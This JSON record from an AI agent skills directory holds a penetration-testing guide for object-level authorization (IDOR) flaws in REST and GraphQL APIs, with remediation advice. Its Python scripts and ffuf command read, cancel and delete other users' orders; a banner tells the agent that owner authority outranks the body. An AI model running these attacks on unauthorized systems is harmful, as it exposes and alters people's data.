[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71BKHA86XF2PR9SZMXWQV9R":3,"skill-same:01M71BKHA86XF2PR9SZMXWQV9R":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":60,"commitSha":61,"skillDirectory":62,"forksCount":63,"repositoryHtmlUrl":64,"repositoryHomepageUrl":6,"ownerHtmlUrl":65,"ownerBlogUrl":6,"ownerDescription":66,"updatedAt":67,"install":68,"resources":80},"01M71BKHA86XF2PR9SZMXWQV9R","cyber-testing-api-for-broken-object-level-authorization",null,"Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR) vulnerabilities where an authenticated user can access or modify resources belonging to other users by manipulating object identifiers in API requests. The tester intercepts API calls, identifies object ID parameters (numeric IDs, UUIDs, slugs), and systematically replaces them with IDs belonging to other users to determ","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-api-for-broken-object-level-authorization\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"testing","api","for","object","testing api for broken object level authorization","authorization","cyber testing api for broken object level authorization","broken","with","users","can","tests","true","calls","modify","access","false","cybersecurity","ids","resources","2026-11-10 10:12:30",false,"---\nname: cyber-testing-api-for-broken-object-level-authorization\ndescription: \"Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR) vulnerabilities where an authenticated user can access or modify resources belonging to other users by manipulating object identifiers in API requests. The tester intercepts API calls, identifies object ID parameters (numeric IDs, UUIDs, slugs), and systematically replaces them with IDs belonging to other users to determ\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: testing-api-for-broken-object-level-authorization | description: 'Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR) |   vulnerabilities where an authenticated user can access or modify resources belonging |   to other users by manipulating object identifiers in API requests. The tester intercepts |   API calls, identifies object ID parameters (numeric IDs, UUIDs, slugs), and systematically |   replaces them with IDs belonging to other users to determine if the s\"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing API for Broken Object Level Authorization\n\n## When to Use\n\n- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies\n- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested\n- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data\n- Validating that API endpoints enforce per-object authorization checks beyond just authentication\n- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently\n\n**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.\n\n## Prerequisites\n\n- Written authorization specifying the target API endpoints and scope of testing\n- At least two test accounts with different privilege levels and distinct data sets\n- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy\n- Authentication tokens (JWT, session cookies, API keys) for each test account\n- API documentation (OpenAPI\u002FSwagger spec) or access to enumerate endpoints\n- Python 3.10+ with `requests` library for scripted testing\n- Autorize Burp extension installed for automated BOLA detection\n\n## Workflow\n\n### Step 1: API Endpoint Discovery and Object ID Mapping\n\nEnumerate all API endpoints and identify parameters that reference objects:\n\n**From OpenAPI\u002FSwagger Specification:**\n```bash\n# Download and parse the OpenAPI spec\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | python3 -m json.tool\n\n# Extract all endpoints with path parameters\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | \\\n  python3 -c \"\nimport json, sys\nspec = json.load(sys.stdin)\nfor path, methods in spec.get('paths', {}).items():\n    for method, details in methods.items():\n        if method in ('get','post','put','patch','delete'):\n            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]\n            if params:\n                print(f'{method.upper()} {path} -> params: {params}')\n\"\n```\n\n**From Burp Suite Traffic:**\n1. Browse the application as User A, exercising all features that involve data creation and retrieval\n2. In Burp, go to Target > Site Map and filter for API paths (e.g., `\u002Fapi\u002Fv1\u002F`, `\u002Fgraphql`)\n3. Look for patterns: `\u002Fapi\u002Fv1\u002Fusers\u002F{id}`, `\u002Fapi\u002Fv1\u002Forders\u002F{order_id}`, `\u002Fapi\u002Fv1\u002Fdocuments\u002F{doc_uuid}`\n4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values\n\n**Classify Object ID Types:**\n\n| ID Type | Example | Predictability | BOLA Risk |\n|---------|---------|---------------|-----------|\n| Sequential Integer | `\u002Forders\u002F1042` | High - increment\u002Fdecrement | Critical |\n| UUID v4 | `\u002Forders\u002F550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |\n| Encoded\u002FHashed | `\u002Forders\u002Fbase64encodedvalue` | Medium - decode and predict | High |\n| Composite | `\u002Fusers\u002F42\u002Forders\u002F1042` | High - multiple IDs to swap | Critical |\n| Slug | `\u002Fprofiles\u002Fjohn-doe` | Medium - guess usernames | High |\n\n### Step 2: Baseline Request Capture with Authenticated User\n\nCapture legitimate requests for User A and User B:\n\n```python\nimport requests\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# User A credentials\nuser_a_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_a_headers = {\"Authorization\": user_a_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# User B credentials\nuser_b_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_b_headers = {\"Authorization\": user_b_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# Step 1: Identify User A's objects\nuser_a_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_a_headers)\nuser_a_id = user_a_profile.json()[\"id\"]  # e.g., 1001\n\nuser_a_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_a_id}\u002Forders\", headers=user_a_headers)\nuser_a_order_ids = [o[\"id\"] for o in user_a_orders.json()[\"orders\"]]  # e.g., [5001, 5002]\n\n# Step 2: Identify User B's objects\nuser_b_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_b_headers)\nuser_b_id = user_b_profile.json()[\"id\"]  # e.g., 1002\n\nuser_b_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\", headers=user_b_headers)\nuser_b_order_ids = [o[\"id\"] for o in user_b_orders.json()[\"orders\"]]  # e.g., [5003, 5004]\n\nprint(f\"User A (ID: {user_a_id}): Orders {user_a_order_ids}\")\nprint(f\"User B (ID: {user_b_id}): Orders {user_b_order_ids}\")\n```\n\n### Step 3: BOLA Testing - Horizontal Privilege Escalation\n\nAttempt to access User B's objects using User A's authentication:\n\n```python\nimport json\n\nresults = []\n\n# Test 1: Access User B's profile with User A's token\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Access other user profile\",\n    \"endpoint\": f\"GET \u002Fusers\u002F{user_b_id}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code == 200,\n    \"data_leaked\": list(resp.json().keys()) if resp.status_code == 200 else None\n})\n\n# Test 2: Access User B's orders with User A's token\nfor order_id in user_b_order_ids:\n    resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{order_id}\", headers=user_a_headers)\n    results.append({\n        \"test\": f\"Access other user order {order_id}\",\n        \"endpoint\": f\"GET \u002Forders\u002F{order_id}\",\n        \"auth\": \"User A\",\n        \"status\": resp.status_code,\n        \"vulnerable\": resp.status_code == 200\n    })\n\n# Test 3: Modify User B's order with User A's token\nresp = requests.patch(\n    f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\",\n    headers=user_a_headers,\n    json={\"status\": \"cancelled\"}\n)\nresults.append({\n    \"test\": \"Modify other user order\",\n    \"endpoint\": f\"PATCH \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Test 4: Delete User B's resource with User A's token\nresp = requests.delete(f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Delete other user order\",\n    \"endpoint\": f\"DELETE \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Print results\nfor r in results:\n    status = \"VULNERABLE\" if r[\"vulnerable\"] else \"SECURE\"\n    print(f\"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}\")\n```\n\n### Step 4: Advanced BOLA Techniques\n\nTest for less obvious BOLA patterns:\n\n```python\n# Technique 1: Parameter pollution - send both IDs\nresp = requests.get(\n    f\"{BASE_URL}\u002Forders\u002F{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}\",\n    headers=user_a_headers\n)\nprint(f\"Parameter pollution: {resp.status_code}\")\n\n# Technique 2: JSON body object ID override\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fdetails\",\n    headers=user_a_headers,\n    json={\"order_id\": user_b_order_ids[0]}\n)\nprint(f\"Body ID override: {resp.status_code}\")\n\n# Technique 3: Array of IDs - include other user's IDs in batch request\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fbatch\",\n    headers=user_a_headers,\n    json={\"order_ids\": user_a_order_ids + user_b_order_ids}\n)\nprint(f\"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders\")\n\n# Technique 4: Numeric ID manipulation for sequential IDs\nfor offset in range(-5, 6):\n    test_id = user_a_order_ids[0] + offset\n    if test_id not in user_a_order_ids:\n        resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{test_id}\", headers=user_a_headers)\n        if resp.status_code == 200:\n            owner = resp.json().get(\"user_id\", \"unknown\")\n            if str(owner) != str(user_a_id):\n                print(f\"BOLA: Order {test_id} belongs to user {owner}, accessible by User A\")\n\n# Technique 5: Swap object ID in nested resource paths\nresp = requests.get(\n    f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\u002F{user_b_order_ids[0]}\u002Finvoice\",\n    headers=user_a_headers\n)\nprint(f\"Nested resource BOLA: {resp.status_code}\")\n\n# Technique 6: Method switching - GET may be blocked but PUT allowed\nfor method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:\n    resp = requests.request(\n        method,\n        f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Fsettings\",\n        headers=user_a_headers,\n        json={\"notifications\": False} if method in ('PUT', 'PATCH') else None\n    )\n    if resp.status_code not in (401, 403, 405):\n        print(f\"Method {method} on other user settings: {resp.status_code}\")\n```\n\n### Step 5: Automated BOLA Detection with Autorize (Burp Suite)\n\nConfigure Autorize for automated detection:\n\n1. Install Autorize from the BApp Store in Burp Suite Professional\n2. In the Autorize tab, paste User B's authentication cookie or header\n3. Configure the interception filters:\n   - Include: `.*\\\u002Fapi\\\u002F.*` (only API paths)\n   - Exclude: `.*\\.(js|css|png|jpg)$` (skip static assets)\n4. Set the enforcement detector:\n   - Add conditions where response length or status code differs between User A and User B\n   - Mark as \"enforced\" if User A gets 403\u002F401 for User B's resources\n   - Mark as \"bypassed\" if User A gets 200 with User B's data\n5. Browse the application as User A; Autorize automatically replays each request with User B's token\n6. Review the Autorize results table:\n   - Green = Authorization enforced (secure)\n   - Red = Authorization bypassed (BOLA vulnerability)\n   - Orange = Needs manual review (ambiguous response)\n\n### Step 6: GraphQL BOLA Testing\n\n```graphql\n# Test BOLA in GraphQL queries using node\u002FID relay pattern\n# User A queries User B's order by global relay ID\nquery {\n  node(id: \"T3JkZXI6NTAwMw==\") {  # Base64 of \"Order:5003\" (User B's)\n    ... on Order {\n      id\n      totalAmount\n      shippingAddress {\n        street\n        city\n      }\n      items {\n        productName\n        quantity\n      }\n    }\n  }\n}\n\n# Test nested object access through relationships\nquery {\n  user(id: \"1002\") {  # User B's ID\n    email\n    phoneNumber\n    orders {\n      edges {\n        node {\n          id\n          totalAmount\n          paymentMethod {\n            lastFourDigits\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |\n| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |\n| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |\n| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |\n| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |\n| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing\n- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing\n- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts\n- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections\n- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u https:\u002F\u002Fapi.example.com\u002Forders\u002FFUZZ -w ids.txt -H \"Authorization: Bearer token\"`\n\n## Common Scenarios\n\n### Scenario: E-Commerce API BOLA Assessment\n\n**Context**: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).\n\n**Approach**:\n1. Map all endpoints from the Swagger spec at `\u002Fapi\u002Fdocs`: identify 47 endpoints, 23 of which take object IDs\n2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist\n3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints\n4. Find that `GET \u002Fapi\u002Fv1\u002Forders\u002F{id}` returns any order regardless of ownership (BOLA on read)\n5. Find that `PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}` allows modifying any user's address (BOLA on write)\n6. Find that `GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods` leaks payment card last-four digits for any user\n7. Test batch endpoint `POST \u002Fapi\u002Fv1\u002Forders\u002Fexport` - accepts array of order IDs and exports all without ownership check\n8. Verify that `DELETE \u002Fapi\u002Fv1\u002Forders\u002F{id}` correctly returns 403 for non-owned orders (authorization enforced)\n\n**Pitfalls**:\n- Only testing GET requests and missing BOLA in PUT\u002FPATCH\u002FDELETE methods that allow data modification or destruction\n- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters\n- Not testing nested resource paths where authorization may be checked on the parent but not the child resource\n- Missing BOLA in bulk\u002Fbatch endpoints that accept arrays of object IDs\n- Not considering that different API versions (v1 vs v2) may have different authorization implementations\n\n## Output Format\n\n```\n## Finding: Broken Object Level Authorization in Order API\n\n**ID**: API-BOLA-001\n**Severity**: High (CVSS 7.5)\n**OWASP API**: API1:2023 - Broken Object Level Authorization\n**Affected Endpoints**:\n  - GET \u002Fapi\u002Fv1\u002Forders\u002F{id}\n  - PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}\n  - GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods\n  - POST \u002Fapi\u002Fv1\u002Forders\u002Fexport\n\n**Description**:\nThe API does not enforce object-level authorization on order retrieval,\naddress modification, payment method viewing, or order export endpoints.\nAn authenticated user can access or modify any other user's resources by\nsubstituting object IDs in the request. Sequential integer IDs make\nenumeration trivial.\n\n**Proof of Concept**:\n1. Authenticate as User A (ID 1001): POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n2. Retrieve User A's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5001 -> 200 OK (legitimate)\n3. Access User B's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5003 -> 200 OK (BOLA - returns full order details)\n4. Modify User B's address: PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F2002 -> 200 OK (BOLA - address changed)\n\n**Impact**:\n- Read access to all 850,000+ customer orders including shipping addresses and order contents\n- Write access to any customer's delivery address, enabling package redirection\n- Exposure of partial payment card data for all customers\n\n**Remediation**:\n1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource\n2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`\n3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)\n4. Add authorization tests to the CI\u002FCD pipeline for every endpoint that accepts object IDs\n5. Implement rate limiting per user to slow enumeration attempts\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing API for Broken Object Level Authorization\n\n## When to Use\n\n- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies\n- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested\n- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data\n- Validating that API endpoints enforce per-object authorization checks beyond just authentication\n- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently\n\n**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.\n\n## Prerequisites\n\n- Written authorization specifying the target API endpoints and scope of testing\n- At least two test accounts with different privilege levels and distinct data sets\n- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy\n- Authentication tokens (JWT, session cookies, API keys) for each test account\n- API documentation (OpenAPI\u002FSwagger spec) or access to enumerate endpoints\n- Python 3.10+ with `requests` library for scripted testing\n- Autorize Burp extension installed for automated BOLA detection\n\n## Workflow\n\n### Step 1: API Endpoint Discovery and Object ID Mapping\n\nEnumerate all API endpoints and identify parameters that reference objects:\n\n**From OpenAPI\u002FSwagger Specification:**\n```bash\n# Download and parse the OpenAPI spec\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | python3 -m json.tool\n\n# Extract all endpoints with path parameters\ncurl -s https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fdocs\u002Fswagger.json | \\\n  python3 -c \"\nimport json, sys\nspec = json.load(sys.stdin)\nfor path, methods in spec.get('paths', {}).items():\n    for method, details in methods.items():\n        if method in ('get','post','put','patch','delete'):\n            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]\n            if params:\n                print(f'{method.upper()} {path} -> params: {params}')\n\"\n```\n\n**From Burp Suite Traffic:**\n1. Browse the application as User A, exercising all features that involve data creation and retrieval\n2. In Burp, go to Target > Site Map and filter for API paths (e.g., `\u002Fapi\u002Fv1\u002F`, `\u002Fgraphql`)\n3. Look for patterns: `\u002Fapi\u002Fv1\u002Fusers\u002F{id}`, `\u002Fapi\u002Fv1\u002Forders\u002F{order_id}`, `\u002Fapi\u002Fv1\u002Fdocuments\u002F{doc_uuid}`\n4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values\n\n**Classify Object ID Types:**\n\n| ID Type | Example | Predictability | BOLA Risk |\n|---------|---------|---------------|-----------|\n| Sequential Integer | `\u002Forders\u002F1042` | High - increment\u002Fdecrement | Critical |\n| UUID v4 | `\u002Forders\u002F550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |\n| Encoded\u002FHashed | `\u002Forders\u002Fbase64encodedvalue` | Medium - decode and predict | High |\n| Composite | `\u002Fusers\u002F42\u002Forders\u002F1042` | High - multiple IDs to swap | Critical |\n| Slug | `\u002Fprofiles\u002Fjohn-doe` | Medium - guess usernames | High |\n\n### Step 2: Baseline Request Capture with Authenticated User\n\nCapture legitimate requests for User A and User B:\n\n```python\nimport requests\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# User A credentials\nuser_a_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_a_headers = {\"Authorization\": user_a_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# User B credentials\nuser_b_token = \"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...\"\nuser_b_headers = {\"Authorization\": user_b_token, \"Content-Type\": \"application\u002Fjson\"}\n\n# Step 1: Identify User A's objects\nuser_a_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_a_headers)\nuser_a_id = user_a_profile.json()[\"id\"]  # e.g., 1001\n\nuser_a_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_a_id}\u002Forders\", headers=user_a_headers)\nuser_a_order_ids = [o[\"id\"] for o in user_a_orders.json()[\"orders\"]]  # e.g., [5001, 5002]\n\n# Step 2: Identify User B's objects\nuser_b_profile = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_b_headers)\nuser_b_id = user_b_profile.json()[\"id\"]  # e.g., 1002\n\nuser_b_orders = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\", headers=user_b_headers)\nuser_b_order_ids = [o[\"id\"] for o in user_b_orders.json()[\"orders\"]]  # e.g., [5003, 5004]\n\nprint(f\"User A (ID: {user_a_id}): Orders {user_a_order_ids}\")\nprint(f\"User B (ID: {user_b_id}): Orders {user_b_order_ids}\")\n```\n\n### Step 3: BOLA Testing - Horizontal Privilege Escalation\n\nAttempt to access User B's objects using User A's authentication:\n\n```python\nimport json\n\nresults = []\n\n# Test 1: Access User B's profile with User A's token\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Access other user profile\",\n    \"endpoint\": f\"GET \u002Fusers\u002F{user_b_id}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code == 200,\n    \"data_leaked\": list(resp.json().keys()) if resp.status_code == 200 else None\n})\n\n# Test 2: Access User B's orders with User A's token\nfor order_id in user_b_order_ids:\n    resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{order_id}\", headers=user_a_headers)\n    results.append({\n        \"test\": f\"Access other user order {order_id}\",\n        \"endpoint\": f\"GET \u002Forders\u002F{order_id}\",\n        \"auth\": \"User A\",\n        \"status\": resp.status_code,\n        \"vulnerable\": resp.status_code == 200\n    })\n\n# Test 3: Modify User B's order with User A's token\nresp = requests.patch(\n    f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\",\n    headers=user_a_headers,\n    json={\"status\": \"cancelled\"}\n)\nresults.append({\n    \"test\": \"Modify other user order\",\n    \"endpoint\": f\"PATCH \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Test 4: Delete User B's resource with User A's token\nresp = requests.delete(f\"{BASE_URL}\u002Forders\u002F{user_b_order_ids[0]}\", headers=user_a_headers)\nresults.append({\n    \"test\": \"Delete other user order\",\n    \"endpoint\": f\"DELETE \u002Forders\u002F{user_b_order_ids[0]}\",\n    \"auth\": \"User A\",\n    \"status\": resp.status_code,\n    \"vulnerable\": resp.status_code in (200, 204)\n})\n\n# Print results\nfor r in results:\n    status = \"VULNERABLE\" if r[\"vulnerable\"] else \"SECURE\"\n    print(f\"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}\")\n```\n\n### Step 4: Advanced BOLA Techniques\n\nTest for less obvious BOLA patterns:\n\n```python\n# Technique 1: Parameter pollution - send both IDs\nresp = requests.get(\n    f\"{BASE_URL}\u002Forders\u002F{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}\",\n    headers=user_a_headers\n)\nprint(f\"Parameter pollution: {resp.status_code}\")\n\n# Technique 2: JSON body object ID override\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fdetails\",\n    headers=user_a_headers,\n    json={\"order_id\": user_b_order_ids[0]}\n)\nprint(f\"Body ID override: {resp.status_code}\")\n\n# Technique 3: Array of IDs - include other user's IDs in batch request\nresp = requests.post(\n    f\"{BASE_URL}\u002Forders\u002Fbatch\",\n    headers=user_a_headers,\n    json={\"order_ids\": user_a_order_ids + user_b_order_ids}\n)\nprint(f\"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders\")\n\n# Technique 4: Numeric ID manipulation for sequential IDs\nfor offset in range(-5, 6):\n    test_id = user_a_order_ids[0] + offset\n    if test_id not in user_a_order_ids:\n        resp = requests.get(f\"{BASE_URL}\u002Forders\u002F{test_id}\", headers=user_a_headers)\n        if resp.status_code == 200:\n            owner = resp.json().get(\"user_id\", \"unknown\")\n            if str(owner) != str(user_a_id):\n                print(f\"BOLA: Order {test_id} belongs to user {owner}, accessible by User A\")\n\n# Technique 5: Swap object ID in nested resource paths\nresp = requests.get(\n    f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Forders\u002F{user_b_order_ids[0]}\u002Finvoice\",\n    headers=user_a_headers\n)\nprint(f\"Nested resource BOLA: {resp.status_code}\")\n\n# Technique 6: Method switching - GET may be blocked but PUT allowed\nfor method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:\n    resp = requests.request(\n        method,\n        f\"{BASE_URL}\u002Fusers\u002F{user_b_id}\u002Fsettings\",\n        headers=user_a_headers,\n        json={\"notifications\": False} if method in ('PUT', 'PATCH') else None\n    )\n    if resp.status_code not in (401, 403, 405):\n        print(f\"Method {method} on other user settings: {resp.status_code}\")\n```\n\n### Step 5: Automated BOLA Detection with Autorize (Burp Suite)\n\nConfigure Autorize for automated detection:\n\n1. Install Autorize from the BApp Store in Burp Suite Professional\n2. In the Autorize tab, paste User B's authentication cookie or header\n3. Configure the interception filters:\n   - Include: `.*\\\u002Fapi\\\u002F.*` (only API paths)\n   - Exclude: `.*\\.(js|css|png|jpg)$` (skip static assets)\n4. Set the enforcement detector:\n   - Add conditions where response length or status code differs between User A and User B\n   - Mark as \"enforced\" if User A gets 403\u002F401 for User B's resources\n   - Mark as \"bypassed\" if User A gets 200 with User B's data\n5. Browse the application as User A; Autorize automatically replays each request with User B's token\n6. Review the Autorize results table:\n   - Green = Authorization enforced (secure)\n   - Red = Authorization bypassed (BOLA vulnerability)\n   - Orange = Needs manual review (ambiguous response)\n\n### Step 6: GraphQL BOLA Testing\n\n```graphql\n# Test BOLA in GraphQL queries using node\u002FID relay pattern\n# User A queries User B's order by global relay ID\nquery {\n  node(id: \"T3JkZXI6NTAwMw==\") {  # Base64 of \"Order:5003\" (User B's)\n    ... on Order {\n      id\n      totalAmount\n      shippingAddress {\n        street\n        city\n      }\n      items {\n        productName\n        quantity\n      }\n    }\n  }\n}\n\n# Test nested object access through relationships\nquery {\n  user(id: \"1002\") {  # User B's ID\n    email\n    phoneNumber\n    orders {\n      edges {\n        node {\n          id\n          totalAmount\n          paymentMethod {\n            lastFourDigits\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |\n| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |\n| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |\n| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |\n| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |\n| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing\n- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing\n- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts\n- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections\n- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u 